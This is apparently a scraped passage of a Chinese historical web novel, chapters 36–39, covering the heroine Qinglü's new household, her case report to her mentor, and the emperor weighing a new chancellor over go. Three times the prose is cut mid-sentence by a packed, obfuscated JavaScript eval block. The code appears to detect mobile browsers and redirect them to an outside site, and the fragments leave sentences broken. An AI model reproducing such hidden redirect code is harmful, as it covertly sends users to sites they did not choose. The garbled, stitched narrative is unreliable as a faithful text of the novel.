凡不凡说得没错,像他这种年青俊彦,又是六皇子的陪读、太傅高远木的门生,外放攒资历是迟早的事。 外放官员的好处是有实权,但朝中有人好做官,无人在宫里帮着说话,在外几年便会被人遗忘,最怕的是赶上改朝换代,那可真是一朝天子一朝臣了。青绿知道大哥并非对自己寄予多大的希望,只是为了帮她而顺口这么一说。 青绿感激地连连点头道:“大哥说得没错。” 毕竟,凡不凡的前程维系着凡氏一门荣誉,妹娘松口:“那便在家休两日,不能再少了。”态度忽悠来了好大的转变,“回到兰台好好干,不可得罪上司。” 青绿道:“谨遵妹娘教诲。” 妹娘转而关心起另一个问题:“大爷,你何时外放?会否影响你的终身大事?虽说丁忧三年,但如今你不也在起复么,可否考虑完婚?丫丫也老大不小了。” 妹娘是真愁,凡府几乎被媒人踏平了门槛,却没一位公子是娶了娘子的,便连与凡不凡定了亲的丫丫也无法娶进门,这不着调的小二更是不知何时才能嫁得出去。 青绿忙替大哥说话:“丁忧期间可不能娶亲,这是原则问题,当今录用官吏采用两种方式,一种是举孝廉,孝摆在第一位,若大哥这个时候娶亲,会成为政敌攻击他的理由。” 不凡点头道:“二妹妹说得在理。” 青绿看大哥一眼,怎么觉着与大哥很有默契的样子。 妹娘叹气:“大爷,你屋里也没个通房,年纪轻轻的别把自己憋出了内伤。” 凡不凡的脸红得如同被泼了狗血:“妹娘你说啥呢。” 妹娘装傻:“是了,凡府家训,凡家儿郎不许纳妾,我记着呢。” 老爷终身不纳妾无通房,身为长子的凡不凡一直以亲爹为榜样。 青绿心里偷笑,她很乐意看大哥吃瘪,这样的大哥才是大哥,而不是爹的翻版。 妹娘瞪她一眼:“一说进宫便笑成个傻子,难道宫里有你相中的少年郎?唉,你相中别人也是白搭,估计那可怜的少年郎得避开你绕道走。” “这都什么跟什么呀?能进宫终归是好事,一般人恐怕一辈子也只能隔着宽阔的北阙广场离得远远地瞧上几眼未央宫呢,我却是在宫里做事,妹娘我牛吧。”青绿得意地转移话题。 妹娘撇撇嘴道:“你牛,牛马不如。”拍拍她的脸颊:“你别只顾着跟我贫,今日起便住你自己的窝吧,听韵阁已经给你拾掇出来了。” 青绿猛一听,不免有些难过:“妹娘你真的要赶走小二?” 妹娘嗔道:“哪能赖在我身边一辈子,你该学着管理中馈了,雪霁十二岁便已开院另住。”因吩咐水妈妈,“将小二送过去交给慧妈妈。” 水妈妈上前笑着应道:“是。” 37.第三十七章 持家 水妈妈领着青绿边走边道:“听韵阁离春松阁不远,一直空置,早前妹娘便与二姑娘提过,要清理出来做姑娘的居处,还让姑娘自己安排布置来着,但姑娘早出晚归,后又出远门办差,妹娘便亲自领人拾缀了出来,也配齐了下人。” 青绿想起是有这么回事,她不想挪窝便一直拖着。 进了听韵阁大门,前院没人,水妈妈道:“派了春松阁的慧妈妈做这边的管事,你今日回来但没说何时,应都在后院整理。二姑娘先瞧瞧房间。” 一排五间平房,居中一间为客厅,客厅右侧的房间作卧房,左侧的房间则为书房,房屋前后各有一片空地。 青绿进了书房,径往右侧书架走去,书架分三层,顶层为典籍,中层码着娘留给她的书。她上前拿起一本翻开,耳边响起妹娘所说的:“夫人说你书读得杂,过目不忘,便留了些书给你,大多作了批注。”一时心中隐隐作痛。 她放下书,转身静静看着挂在书房北墙上的《万里江山图》,从满目黄沙的西域回来,更深刻体会到绿色的生机盎然。 慧妈妈察言观色,笑道:“小北做主挂上的。” 青绿点头道:“很好。” 后院传来小北的声音:“书房及卧房,所有人,除了慧妈妈,不经我点头不得入内。” 女子纤细的声音反问:“听你的还是听慧妈妈的?” 小北语气霸蛮道:“难道听你的?” 慧妈妈的声音:“米粒,姑娘房里的事听小北的。” 水妈妈对青绿笑道:“米粒才来,姑娘没见过,与小北一样都是二等丫鬟。” 青绿摇头苦笑,她不排斥有自己的院子,但这样一来,呵呵,在宫里宫斗,回到府里还得宅斗。 青绿坐在前院的高脚方几上,一手端着茶盏慢慢抿着茶,一边抬眸不带任何感情色彩地看着面前或熟悉或陌生的面孔。比起首次回家面对下人时的慌张无措,现在的她十分老练,且在兰台待了一段时日,自带一股不怒而威的气场。 她轻轻搁下茶盏,对慧妈妈道:“慧妈妈,拿名册及账本来。” 管理管理,不外乎抓住两样,一是人,二是财。别看听韵阁人头不多财产不丰,但麻雀虽小五脏俱全,能把小院管好,将来不怕管不好大厦,圣贤书上不也写着:一屋不扫何以扫天下?引申开来便是扫好一屋可以扫天下呗。故她不敢掉以轻心, 青绿快速翻看着名册,内中列出的各项极是详尽,有姓名、年龄、家庭、特长、等级、任职期限、负责的工作等等,这是娘亲创立的,一直沿用至今。她看完想了想,提笔在栏目一项添上“奖、罚缘由”两项。 再看账本,听韵阁开张不久,银子进出不多,但她看得很认真,问了慧妈妈几个问题。这是在众人面前摆出一个姿态,不要试图在银子上动手脚。 青绿站起身,对众人严肃道:“往后,你们便按照这上面所写的,做好你们分内之事,本姑娘奖罚分明,升级、留任或辞退各凭本事。”顿了顿,强调,“卧室由慧妈妈照管,小北管书房,其余人不经我准许,不得踏进书房。”然后让众人退下,并无一句多余废话。 小北朝下巴上长着一颗灰痣的米粒得意地歪了歪脑袋。 米粒回报冷哼。 众人诺诺应声,脸上皆现紧张及佩服之色,纷纷感叹,想不到二姑娘掌起事来条理清晰,职责分明,往后可得小心办差,免得被罚。 青绿对慧妈妈道,“在后院开出一小块地,围上竹篱笆,我要种洋葱。” 慧妈妈好奇地问:“洋葱是甚物?” 青绿斟酌片刻,笑道:“长得象芥兰头的紫色大葱。” 不知是芥兰出了轨还是大葱劈了腿。 她好奇想试试这颗紫色圆球能长出啥玩艺,看来,有自己的院子还真不赖。 用过晚膳,青绿美美地在大木盆里泡了一刻钟的牛乳,然后躺在美人靠上,惬意地享受小丫鬟的敲背捶腿,不知为何,她心里有些许不安,觉着这样的生活太过骄奢淫逸。 都以为由俭入奢易而由奢入俭难,其实不然,从苦日子跳升到豪华生活,很难马上适应,会不自然地时时作出对比,心理上会自我谴责,至少青绿是如此。 忽然又想,自己便该一直享受这种生活,却无端被套了麻袋。不行,她腾地一下跳了起来,这个真相必须尽快查明。 青绿到了兰台东苑,躲躲闪闪进了自己书房,看见瓜老头的房门是虚掩着的,管胖子的却关得严实,心情不由紧张起来。 办差回来,第一件事是向上司报到,运气好瓜老头“嗯”一声便过了,运气不好得接受他的询问,兰台的侍御史们常被问得冷汗直流。 青绿猫在自己的书房内等候管胖子,打算等他来后跟他到瓜老头书房走个过场敷衍过去。 趁这空隙,她紧张地思考如何才能与钟离梨见上一面,但二人行动均受限,一个进不去一个出不来,她干着急却也没用。看来得先弄一张进出后宫的令牌,当初她离开秀女教习班后,太后给的那张令牌便被收了回去。 眼看已到辰时,管胖子仍不见踪影,总不能拖着不见瓜老头,她硬着头皮前往隔壁,边走边给自己打气:管胖子肯定已经向师傅汇报过了,师傅既然清楚了案子的办理情况,肯定不会再费口舌多问。 想到此,心里稍安,她脸上挤出笑容并艰难维持着进了书房。 瓜老头阴沉着一张苦瓜脸正在看书,头也不抬道:“说说吧,‘计簿造假案’及查西域都护府克扣军饷事。”那神态似乎在对书本里的某人说话。 青绿心道,是祸躲不过,硬着头皮开口道:“整个过程是这样的,先是发现姑藏县上计死亡人口造假,然后查到武威郡将疫病人及其眷属圈禁在山上,最终查实武威郡太守替姑藏县令掩盖疫情的事实。再然后,师兄根据收集到的都护府克扣军饷的消息,决定前往查实。” 顿了顿,继续道:“期间监军御史萨国武冒险送出西域有僧兵的情报,管师兄在敦煌被镇西将军府曹参军派人劫杀。目前基本查实了都护府克扣军饷,于阗国有僧兵也是事实,且为了控制少年僧兵,凡是逃跑者均被砍手掌。” 瓜老头拿起茶杯喝了一口茶,朝后靠在椅背上,两眼朝天。 青绿自顾继续道:“目前尚有两个疑点,一是约两万僧兵由何人掌管?二是萨国武下落不明。”惴惴不安看着瓜老头,壮了壮胆,“师傅,僧兵是否与镇西将军府有关?” 瓜老头阴测测道:“证据呢?不嫌命长就闭嘴。” 青绿语塞,也后怕,无证据就是诬陷,诬陷皇子是要被砍头的,目前为止,僧兵与镇西将军府压根扯不上半毛钱关系。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16528162|185334||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 室内陷入沉默,片刻,瓜老头开口:“继续,收获呢?” 青绿想了想,道:“收获么,简单说来便是:广纳线索、明擦暗访,从大处着力、从细节突破,不畏强权,不徇私情。还有,亦余心之所善兮,虽九死其犹未悔。”她说得激动,眼前是萨国武送出的暗红色的血书及万里江山图的满目青绿。 瓜老头面如止水,待青绿讲完,道:“下去吧。” 青绿如蒙大赦,抬脚便要离开。 又听瓜老头冷冷道:“回来。” 青绿脚步停滞,心里哀叹:我便知道没这么容易过关,哪有上司不在下属的鸡蛋里面挑骨头的?若自己是鸡蛋里的那根骨头还好,可偏偏是那颗蛋,还是最小的那颗,只能任由上司敲碎了。 她略显迟疑转身,唯唯诺诺看着瓜老头。 瓜老头目光又回到书上,似是漫不经心道:“你如何想到要去对比姑藏县上计的人口数?” 青绿如释重负,答道:“东宫萧文渊舍人说六殿下让她比对去年的武威郡人口数。”因把事情来龙去脉详细向瓜老头说了一遍。 瓜老头一言不发听完,对青绿挥了挥手。 青绿转身飞速退出,她怕瓜老头脑子又搭错线了让她“回来”。 才出门口却又转了回来,似是鼓足了全部的勇气,明澈的双眸看着瓜老头道:“师傅,办完一个案子皇上有赏么?” 瓜老头双眸死死盯着她。 青绿顿时如霜打过的茄子般蔫了,嗫嚅道:“赏我一块进后宫的令牌最好,有利于今后办案。”说完,如被虎撵似地逃离。 回到书房,青绿坐在椅子上擦了一把额头上的冷汗,任是何人与瓜老头当面说话,时间长了估计都得肾虚,那鹰隼一般的目光太吓人,似乎能直达人的内心。 有人轻声敲门,她应道:“请。” 小宦官石头拎着大铜壶怯怯走了进来,对她施了一礼:“主簿姐姐好。” 青绿颔了颔首,看着书桌上一盆小小绿萝问:“小石头,你放的?” 石头神情有些紧张地看着她,点点头。 青绿道:“我喜欢,谢谢。” 石头脸上泛红,一时手足无措,掩饰般将青绿茶杯里的茶倒掉,重新倒了一杯:“主簿姐姐请用茶。”垂首立于一旁,“主簿姐姐,你教的字我都认完了,我会写自己的名字了。” 青绿高兴道:“我留了一百个字给你,你都认完了?可以哦。” 小石头使劲点头,以右手食指沾水在书桌上认认真真地写下“石头”二字,笔画虽歪歪扭扭,却也有力,看得出下了许多功夫练习。 青绿点头赞许:“照此下去,你会认识很多很多字,加油哦。” 小石头激动得满脸通红。 青绿从书袋里掏出蒙学给孩童开蒙用的《急就篇》递给他:“上次让你学的字便是这里面的,你认完这本书里的字,便能读书了。” 这是她让小北专门到书店买的。 石头接过书本捂在自己胸前,点头点头再点头。 青绿问石头:“管师兄没来么?” 小石头道:“昨日早上来过,在董中丞书房待了好一会,便离开兰台了,今日没见来。” 青绿一顿足:糟了。 她忘了一件大事,得马上去一趟菜市口。 38.第三十八章 棋局 日入时分,残阳还染着宫墙,忽然一阵狂风卷雨而来,打湿了檐下悬着的宫灯,灯影在雨雾里晕出一圈暖意。 天禄阁最南端的笃学房,一位身形修长、面容清矍的耄耋老者坐在书桌旁闭目养神,忽然他的脑袋猛地一磕,瞬间惊醒。 便听到小书童埋怨的声音:“师傅,早劝您到梢间躺着休息去,您偏不听,都讲了大半日的经了,还非要陪着小七公主,也不嫌累。” 皇子皇孙、朝廷宗室子弟及少数因功封侯的公卿之后,从总角起到未成年之前都集中在笃学房学经,常年有多位名满天下学问深厚的大儒在此教授儒家经典及史籍。 老者也不恼,显然习惯了书童的数落,笑眯眯看着他麻利地收拾着散落的简牍,语气温和地笑道:“小溪,你不常说七公主长得好看么?怎的又说累了?” “好看归好看,但她总喜欢将您的长须编成麻花辫,她扯您眉毛我都替您疼得慌。”圆脸上有一双大而圆的黑亮眸子,嘴唇红润像个女娃娃的小书童语气很无奈。 老者目光落在窗外的雨丝上,语调缓慢似屋檐边淌过的雨水:“小女娃,总不宜拘了她的天性才好。” 小溪很老成地叹了口气:“师父,那不是天性是任性。”看一眼冰盘,“下雨天反觉闷热些,我再去取些冰来。”一头说一头出门,险些撞在一位高大俊逸的穿着明黄龙纹袍子的男子身上。 小溪惊惶地双膝脆地,口称:“陛下万岁万岁万万岁。” 老者便看见天子刘芳径直进了书房,欲待起身已然来不及,因含笑躬身道:“陛下怎的来了?”。 刘芳大步来到老者面前,手向下虚压了一下道:“帝师不必起身,朕觉着下雨天宫内寂寥,到此与帝师手谈一二。” 天子口中的这位帝师,姓高名远木,字楚天,两代帝师,人称二代木。这个二代,不是那些一出生便赢在起跑线上的富二代官二代,而是才高八斗学富五车的二代帝王之师。 高远木在刘芳的爷爷坐江山时历任谒者、谏大夫、丞相司直,司隶校尉、御史大夫、太子少傅等职,先帝即位后迁太子太傅,领尚书事辅佐朝政。凡羲任丞相时闲过一段时日,在石渠阁召集儒家大师论《五经》同异,主持《毛诗》研究,著有《毛诗释义》。 高家是江南名门望族,世代簪缨,家学渊博,自他起,江南高党历数十年而不衰,其长子高彭丰现为太学大祭酒。 刘芳忽然定睛看着高远木,但见他脸上两条雪白长眉及下巴上的雪白胡子均被编成了麻花小辫,再探头去看他脑后,长发亦是如此,脸上不禁现出十分好奇的表情,纳闷道:“帝师意欲何为?” 一向泰山崩于前而波澜不惊的高远木见皇帝盯着自己的辫子,不禁老脸泛红,拢了拢质料上乘的玄云纹袖的常服,期期艾艾道:“无甚事。” 刘芳板着脸问正在屏神凝气冲茶的小溪:“此是何故?” 小溪跪下道:“回陛下,方才在此温书的七公主殿下说累了,要给太傅换身行头。” 刘芳失笑:“还不即刻给帝师梳理好。” 小溪点头如捣蒜:“奴才遵旨。” 刘芳嘴里责备着,脸上却满满的宠溺:“帝师该多管教七丫头才是,她都被皇后宠得无法无天了。” 高远木摆摆手:“无妨,小娃娃便该活泼些才好,尤其是女娃娃,也就在爹娘跟前的几年能任性些,也是爹娘有爱才能持宠而娇。” 不着痕迹的几句马屁拍得刘芳心底烫贴。 小溪快速将高远木的须发理顺,然后从书架上取下一个盘下有四足的墨玉棋盘置放于书桌上,将内装黑白棋子的藤篓摆在棋盘两头。 窗外下着雨,光线有些昏暗,他在桌上添了一盏琉璃灯,方才躬身倒退着出了书房,将门轻轻带上。 棋盘呈正方形,纵横十七道,合二百八十九道。 师徒二人的视线牢牢盯在棋盘上。 照例是刘芳执黑先落子,他显然有些举棋不定,犹豫着用第一只棋子占了金角银边。 高远木紧随着跟进白子,一刻钟过去,刘芳输了一局。 第二局,高远木先落子,刘芳在最后抢劫不成,竟要悔棋,被高远木腆着老脸伸手拦住。 师徒二人都是臭棋篓子,日常只有高远木悔棋,还大言不惭地宣称:陛下九五之尊一言九鼎,自然不能悔棋,可天底下总得有人悔棋,老臣便是这个“有人”。 与其说师徒二人下棋是博弈,不如说是娱乐放松更为贴切。 刘芳连输两局,执黑子要下第三局时,高远木目光详和地看着他,斟酌着道:“陛下,不急,让棋子先飞一会儿。” 他唤小溪进来添了茶水,捻着雪白长须,心照不宣地开口道:“陛下亲临,是为丞相位空缺事?” 刘芳眉峰微蹙:“相府运转不力,朕担心的是明年的大课及太学课试。” 高远木垂眸长叹:“凡丞相猝然长逝,陛下痛失臂膀。今相位已空余两载,再不定夺确实影响明年官员大课及太学课试。” 当朝官员考课,一年一小考称“常课”,三年一大考称“大课”,大课绩优者,可超越常规等级拔擢,而两年一次的太学课试则为遴选储才以备用,明年的大课与课试时间恰好重叠。 刘芳神色凝重,沉声道:“然观今日庙堂之栋梁,无出凡羲其右。” 大汉官制,皇帝之下设三套平行的官僚体系,分别是以丞相为魁首的外朝官、大将军或太傅为鳌头的内朝官、处理皇帝与皇族私事的宫廷官。 丞相“掌丞天子,助理万机”,协助皇帝管理一切军国大事。按理,朝廷政治重心应是丞相,但皇帝对丞相多有猜疑,故实际上重心落在由军功集团或皇帝亲信加官而成的内朝,天子与内朝官共同谋划国家大事,决策后交由丞相执行,因此丞相极难有所作为。 刘芳与凡羲,帝相之间却能和平相处,很大程度上得益于二人的某个观念相合:刘芳既为刘家江山万代谋,也尽力让百姓安居乐业;凡羲不为已谋而努力为百姓谋之时,也尽力顾及皇家利益,故二人相当合拍,刘芳当了一段甩手掌柜,高远木则卸任做了专职学者。 凡羲去世后,高远木重出江湖,以太傅录尚书事坐镇尚书台。 刘芳默默在棋盘正中摆下十颗黑子,第一排三子,第二排七子。 外朝沿袭三公九卿制,三公为丞相、太尉、御史大夫;九卿一般指太常、光禄勋、卫尉、太仆、廷尉、大鸿胪、宗正、大司农及少府。但当朝并未设置太仆及宗正,其职责均归少府,故实际只有七卿。 第一排的三子代表三公,第二排七子代表七卿。 高远木将朝廷中枢所有掌门人在脑中快速过滤了一遍。 刘芳将第一排棋盘正中天元位上的黑子取走,此子代表丞相凡羲。 然后将第一排右边的棋子挪到天元位,道:“相位空缺,按例可由御史大夫接掌。”思索片刻,又将棋子拿在手上,“御史大夫句华容已七十有余,日前已请乞骸骨,若朕准其所奏,三公便只剩太尉周嵩。” 第一排仅剩一颗棋子。 刘芳视线落到第二排的黑子上,从左至右将位列第一、三、四、五、七位的棋子取出,一边取一边自言自语:“太常王昭粲资历丰厚,然人老话多;卫尉夏之初勇有余而谋不足。” 高远木接道:“廷尉苏辰,疾恶如仇,然性格暴烈;大鸿胪裴展超,小事心细如发,大事犹疑不决;少府邵放礼,宦者。” 第二排只剩下代表光禄勋及大司农的两颗黑子,刘芳道:“光禄勋李涵,战功赫赫,然其为皇后之兄。”毫不犹疑地将棋子取走,“大权不能过于集中在皇后一族。” 刘芳又喃喃道:“大司农靳一言,善于开源节流,不可或缺。”迟疑片刻,仍是将棋子取走。 至此,第二排的棋子一颗不剩。 高远木静静看着,未发一言。 刘芳盯着棋盘上剩下的唯一一颗黑子:太尉周嵩。 他无奈地摇摇头,在光禄勋的位置上放回一颗棋子,然后用食指轻轻推至丞相位,自顾自道:“牵一发而动全身。”脸上神情晦涩,阴晴不定。 高远木轻轻将刘芳推至丞相位的棋子取走,将太尉位上的棋子移至丞相位,再将手上棋子放在太尉位,抬头,静静看着刘芳。 他的意思很明显,由太尉周嵩接任丞相,光禄勋李涵接任太尉。 刘芳沉思片刻,抬眼道:“如此布局当是最佳,然周嵩仗着太尉有评定武官功绩高下之权,大肆敛财,短短几载竟搜刮白银几十万两。董清辉已察实其部分劣迹,朕不好即刻办他,但若升他为丞相,那些谏官及御史能吵得朕头大。”语气里透着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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高远木安慰道:“陛下春秋正盛,迟些无妨。” 刘芳摇头:“国事繁杂,早些定下也好让太子分担社稷。” 近年来,他亲征西北时留下的旧伤时常发作,加上夙兴夜寐,自觉身体每况愈下,最能说明问题的便是翻妃子头牌的次数越来越少。 高远木默了一默,问:“既然陛下早有定夺,为何还在犹豫?” 刘芳目光深邃:“睿儿缺些杀伐果断的豪情,一国之君太过注重婉约音韵并非好事。” “陛下完全无须为此所虑,六殿下胸怀大略,只是不轻易表达自己的观点罢了。” 心道:老夫在皇庭执教多年,清楚得很,凡事有皇帝老子决断,儿子们能果断到哪去?想造反啊。 他抬手抚了抚下巴上的银丝:“依老朽愚见,精通韵律反而有助于政事,若想弹出妙音,须得十个指头配合到位,处事亦是如此,分得清轻重缓急,便不会摁下葫芦浮起瓢。” 刘芳沉思片刻,点头赞同:“帝师说得极是。”顿了顿,“为将来接掌庙堂的栋梁能形成梯队,须得储备人才。” 高远木欣然道:“光禄勋属下的谏大夫冷子西、议郎凡不凡各有千秋,冷子西才思敏捷,凡不凡从容沉稳,均能担当大任。” “即下放一批青年俊彦到地方建功立业,明年大课和课试后,可挑选出类拔萃者充实各衙门。” 高远木抚须躬身,声音里满是恳切:“陛下英明。” 中常侍曾一鸣报:“陛下,兰台董中丞求见。” 曾一鸣是刘芳的贴身侍卫,宫内宦者秩级最高的宦官,也就是大内总管,长着一张惨白老脸及鹰隼般的双目。若青绿在此,一定能认出他便是当年在椒房殿后院见到的那位白脸大人。 刘芳脸上的喜色忽然黯淡下来:“这老头,朕想躲一会清静,他连笃学房都不放过。” 二代木嘿嘿笑道:“老董必有大事秉告陛下,他是个急性子,较起真来六亲不认。” “朕最怕听他禀奏,全是黑暗面,听得朕都疑心江山除了黑色再无别色。”刘芳语气低沉。 “陛下要听歌功颂德,往后宫便是。”董清辉毫无感情的声音传了进来。 39.第三十九章 特权 东宫博望苑。 刘睿弹着琴,与宫人一起对他所谱舞曲进行合练。他一袭玄纹云袖白衣,席地而坐,低垂着眼帘,沉浸在自己营造的意境之中,修长而白皙的手指如行云流水舞弄着琴弦,人随音而动,偶尔抬头,那英俊的侧脸,面部轮廓堪称完美。 萧文渊静静坐在一旁,看一会舞姿曼妙的宫人,又看一眼刘睿,想抓住他那忽闪而逝的目光,却总是抓不住。 一曲弹罢,刘睿微闭双目久久无语,待睁开眼睛,对静立原地的宫人们说了一句“散了吧”,起身兀自离开。 文渊也跟着起身,对宫人道:“都下去吧。” 宫人皆面露喜色,各各散去。 领舞的马璨璨跟在刘睿身后娇喘着道:“殿下一句话都没说,奴家怎知下次该向何方努力?” 刘睿头也不回,径直进了书房。 萧文渊拦下她笑道:“殿下不训示,便表明了他对练习的肯定。” 马璨璨满含妒意地看了文渊一眼,悻悻然转身离去,嘴里小声嘟囔道:“凭什么你能相伴殿下左右?” 文渊摇头苦笑,她是舍人能伴公子左右,但却没有名分;马璨璨有妃子的名分,却只能呆在后宫,甚至都感受不到刘睿的喜怒哀乐。世间不如意事常□□,大抵人活着都是不满意的吧。 书房内,文渊向刘睿真诚祝贺:“恭喜公子大功告成,方才的乐和舞配合得天衣无缝。。” 刘睿十指交叉扭动着手腕道:“不枉这段时日辛苦,眼看父皇的生辰越来越近,我都怕这些木头宫人练不出来。” 文渊笑道:“公子想做的事有做不成的么?” 刘睿抚了抚她娇嫩的脸颊:“只当你在恭维我。” 文渊扭头出了书房,片刻,用托盘托着一个冒着热气的浅绿色翡翠小碗进来,碗里有粉色的杏花漂浮在乳白色的鲜牛乳之中,煞是玲珑可爱。 刘睿一看,面露惊喜:“旗花面。” 文渊有些羞涩:“我才学做的,公子尝尝。” 刘睿用象牙箸挑起一朵花瓣,花瓣变为一根细细长长的面条。 之所以称为旗花面,便是挑起如面,放下如花,御膳房的御厨只有一人会这门手艺,且一般只做咸味,刘睿却喜吃甜的,难为文渊做得出来。 刘睿含着面细细品尝,奶香夹杂着杏仁的香味,清淡,清甜,正是他喜欢的味道,他极其陶醉地慢慢将一碗旗花面吃完,将碗递给文渊:“再来一碗。” 文渊添了一碗面递给他,在他身旁坐下,斟词酌句道:“我听说陛下为武威郡之事赏赐兰台,特别奖赏了青绿姑娘,说她起了关键作用要给她提秩级。” 青绿才进宫,若提了秩级便差不多与她持平,她到底有些意难平。 刘睿点头,“嗯”了一声,低头将一根面慢慢吸溜进嘴里。 文渊看他一眼,很有些为他打抱不平的意味:“但这件事是公子先发现的蛛丝马迹,若不是公子令我核对此事,青绿姑娘如何能够觉察?” 刘睿不以为意:“我发现的端倪也好,你去问的也罢,你我追查了么?便如见池子水动,想着可能会有鱼,却又自以为是小鱼而放弃,旁人听说了顺藤摸瓜钓上了大鱼,这会才出来争功说‘这鱼是我先看见的’,岂不是废话?” 文渊兀自想着青绿的运气简直好到爆,如此好事都能摊头上,想想自己在宫内如履薄冰苦心孤诣地经营了几年,却一事无成,准确地说是没有干成一件引人注目的大事,秩级一直原地踏步,这对于宫官而言不是什么值得骄傲的事。 她没注意到刘睿的脸色,嘴里不服道:“可她总得向陛下说清楚,线索是旁人提供的吧,独揽大功也不怕被压死?” 刘睿将碗重重搁在桌上:“你怎知小二没有向上禀报?你却从哪里听来的消息?早上我在父皇处,董中丞替小二向父皇谢恩,转小二的话‘若不是六殿下对武威郡数字存疑,我也不会想到去查武威郡五年来的计簿,后来的查案办案,是职责所为,故无功不受禄’,坚持不要提秩级。” 文渊妩媚双眸写满了大大的问号:“啊?不提秩级,她要什么?”她不明白,在皇宫里做事不就求个陛下青睐然后加官进爵么。 刘睿耸耸肩:“董中丞替她向陛下求了个人情,恩准她在未央宫自由出入,说是为了以后办案方便。” 约占长安城七分之一的未央宫,由两条横贯宫城的东西向大道分隔为南、中、北三部分,与南北向中央轴线构成“三横一纵”格局,形成礼仪、政务、生活三个相互联系又各自独立的区域。 “陛下准啦?”文渊一愣,有些不敢相信,能自由出入宫禁之人屈指可数,她因为协助刘睿处理政务也仅限于在政务区的兰台、尚书台、中央官府等几个有限之处走动。 刘睿肯定道:“准了。” “但青绿姑娘为何要在宫里自由出入?后宫由皇后执掌,哪用得着兰台办案。” “不可一概而论,后宫连着前朝,若有黑了心的宫人使坏,女子入后宫办案终究方便些,或许父皇也是基于这个考虑才准的吧。” 他双手拢在宽袖内,嘴角擒着浅浅笑意:“也就是小二杜撰出来的理由,估摸着她是待在兰台觉着没意思,想到后宫玩玩罢了,毕竟后宫有花园有鱼池,有各种蹴鞠射箭投壶等场地,人多热闹,还可以去太后跟前打打秋风。”语气不自觉地带着宠溺。 文渊点头,求证似地看着刘睿道:“陛下如此信任一位小姑娘,很大程度上是基于对凡羲丞相的信任吧。” 刘睿点头,又摇头:“也许有这些成分在,但也不全然。董中丞在父皇面前给小二的评语极高,说她小小年纪,第一次办案,表现出的敏锐的洞察力及严密的逻辑推理能力,以及身处险境时的从容不迫,堪当大任。” 理了理冠冕系带:“我与董中丞一起离开御书房时,他大略说了小二办案经历,真替她捏了一把冷汗。” 文渊仍在发愣:“堪当大任?”心道:便那个任性的丫头? 刘睿道:“将才送来的那盒鸡油玫瑰酥拿来。” 文渊回过神来,忙应声去取了一个食盒进来。 刘睿手提食盒一边往外走一边叮嘱道:“我去一趟兰台,无事别去惹那丫头,便连父皇都避着她师傅。” 据说,某次熙元帝想去石渠阁,听说董中丞也在去石渠阁的路上,便让轿辇转到天禄阁,说“避开那铁面老头,免他看见触发灵感又参朕一本,耳根不得清净。” 文渊忙答:“明白。”但仍有些不明白,不明白青绿要自由出入宫禁特权的用意,真如公子所说,是因为贪玩么? 刘睿来到兰台,青绿正与管胖子纠缠不清。 她扯着管胖子的袖子口口声声道:“你失踪多日,终于舍得现身了?我去过菜市口,宋婶好几日不出摊了,你离开长安之前说过要娶她来着。说,你把我宋婶弄哪去了?是不是她不从你,你便将她杀了?” 那日青绿去菜市口,是想告诉宋婶管胖子要娶她的事,让她提前拿个主意,若不愿意,自己会尽力帮她。 管胖子好声好气道:“我哪敢杀她?这不好吃好喝地供着呢。” 青绿不依不饶,脸上一副打死我才信的表情:“我不信,除非你带我去见活人。” “我现下正候着陛下宣召,走不开,过段时日我腾出空来再带你去看她,如何?” 青绿死缠烂打:“不,现在便去,拖过几日我去了不见人,又说是她自个跑了。你这般推托,是要腾出空来毁尸灭迹么?” 管胖子极为无奈:“你那小脑袋瓜是被鸟啄过么?全是窟窿,想一出是一出,什么杀人什么毁尸灭迹,你师兄我杀个人还用灭迹?” 青绿眼泪差点没流出来,她伸脚用力去踢管胖子:“你自己都招了你已将她杀了,都懒得去灭迹了。你等着,我这便去敲登闻鼓。” 登闻鼓悬在东阙前的广场上,有冤情或急案者可击鼓上闻。 管胖子求饶道:“怕了你了,待我办完陛下的差事,一准带你去行了吧?” 青绿摇头,嘴里恨恨道:“宋婶若是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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管胖子袖着双手,弯了弯肥胖的身躯行礼毕,咧咧嘴道:“如此甚好。” 刘睿回了一礼。 管胖子对刘睿道:“六殿下你给评评理,我新娶了一房娘子,这丫头一定要去看她,我没工夫,她便一口咬定我已将她灭了。” 刘睿问青绿:“管绣衣娶的娘子是你什么人?你这么护着她?” “她是我婶。”青绿理直气壮道。 “什么狗屁你婶,不把与你接触的人的底细摸透,能让你进兰台?不过吃了她一碗面汤罢了。”管胖子气哼哼道。 “若没有那一碗面汤,或许我已经横尸街头了。滴水之恩,当涌泉相报。” 刘睿实在憋不住,笑出声来:“呵呵,结草衔环,乃做人的题中应有之意,管绣衣,你说呢?” 管胖子百般无奈,点头以示赞同。 刘睿又道:“那便劳烦管绣衣带青绿姑娘过去一看。” “好我的六殿下,皇命不能违也不敢违,我真不能离开。”管胖子并不轻易入套。 刘睿道:“陛下现不在宫中,管绣衣快去快回,不碍事。” 管胖子只得不情不愿对青绿道:“这便带你过去,大不了陛下要砍我脑袋时,连你的也一并砍了,届时劳烦六殿下做个证人。” 刘睿将手中的点心递给青绿:“你爱吃的鸡油玫瑰酥。” 